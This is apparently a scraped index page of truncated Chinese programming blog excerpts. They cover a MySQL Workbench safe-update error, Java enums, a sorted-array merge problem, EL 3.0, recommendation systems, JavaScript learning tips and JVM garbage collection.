快速高效用：SET SQL_SAFE_UPDATES = 0；下面的就不要看了！今日用MySQL Workbench进行数据库的管理更新时，执行一个更新的语句碰到以下错误提示： Error Code: 1175 You are using safe update mode and you tried to update a table without a WHERE that
枚举类型详细介绍及方法定义 gaomysion enum javaee
转发 http://developer.51cto.com/art/201107/275031.htm 枚举其实就是一种类型，跟int, char 这种差不多，就是定义变量时限制输入的，你只能够赋enum里面规定的值。建议大家可以看看，这两篇文章，《java枚举类型入门》和《C++的中的结构体和枚举》，供大家参考。枚举类型是JDK5.0的新特征。Sun引进了一个全新的关键字enum
Merge Sorted Array hcx2013 array
Given two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array. Note:You may assume that nums1 has enough space (size that is
Expression Language 3.0新特性 jinnianshilongnian el 3.0
Expression Language 3.0表达式语言规范最终版从2013-4-29发布到现在已经非常久的时间了；目前如Tomcat 8、Jetty 9、GlasshFish 4已经支持EL 3.0。新特性包括：如字符串拼接操作符、赋值、分号操作符、对象方法调用、Lambda表达式、静态字段/方法调用、构造器调用、Java8集合操作。目前Glassfish 4/Jetty实现最好，对大多数新特性
超越算法来看待个性化推荐 liyonghui160com 超越算法来看待个性化推荐
一提到个性化推荐，大家一般会想到协同过滤、文本相似等推荐算法，或是更高阶的模型推荐算法，百度的张栋说过，推荐40%取决于UI、30%取决于数据、20%取决于背景知识，虽然本人不是很认同这种比例，但推荐系统中，推荐算法起的作用起的作用是非常有限的。就像任何
写给Javascript初学者的小小建议 pda158 JavaScript
　　一般初学JavaScript的时候最头痛的就是浏览器兼容问题。在Firefox下面好好的代码放到IE就不能显示了，又或者是在IE能正常显示的代码在firefox又报错了。　　如果你正初学JavaScript并有着一样的处境的话建议你：初学JavaScript的时候无视DOM和BOM的兼容性，将更多的时间花在了解语言本身（ECMAScript）。只在特定浏览器编写代码（Chrome/Fi
Java 枚举 ShihLei java enum 枚举
注：文章内容大量借鉴使用网上的资料，可惜没有记录参考地址，只能再传对作者说声抱歉并表示感谢！一基础 1）语法枚举类型只能有私有构造器（这样做可以保证客户代码没有办法新建一个enum的实例）枚举实例必须最先定义 2）特性 &nb
Java SE 6 HotSpot虚拟机的垃圾回收机制 uuhorse java HotSpot GC 垃圾回收 VM
官方资料，关于Java SE 6 HotSpot虚拟机的garbage Collection，非常全，英文。 http://www.oracle.com/technetwork/java/javase/gc-tuning-6-140523.html Java SE 6 HotSpot[tm] Virtual Machine Garbage Collection Tuning &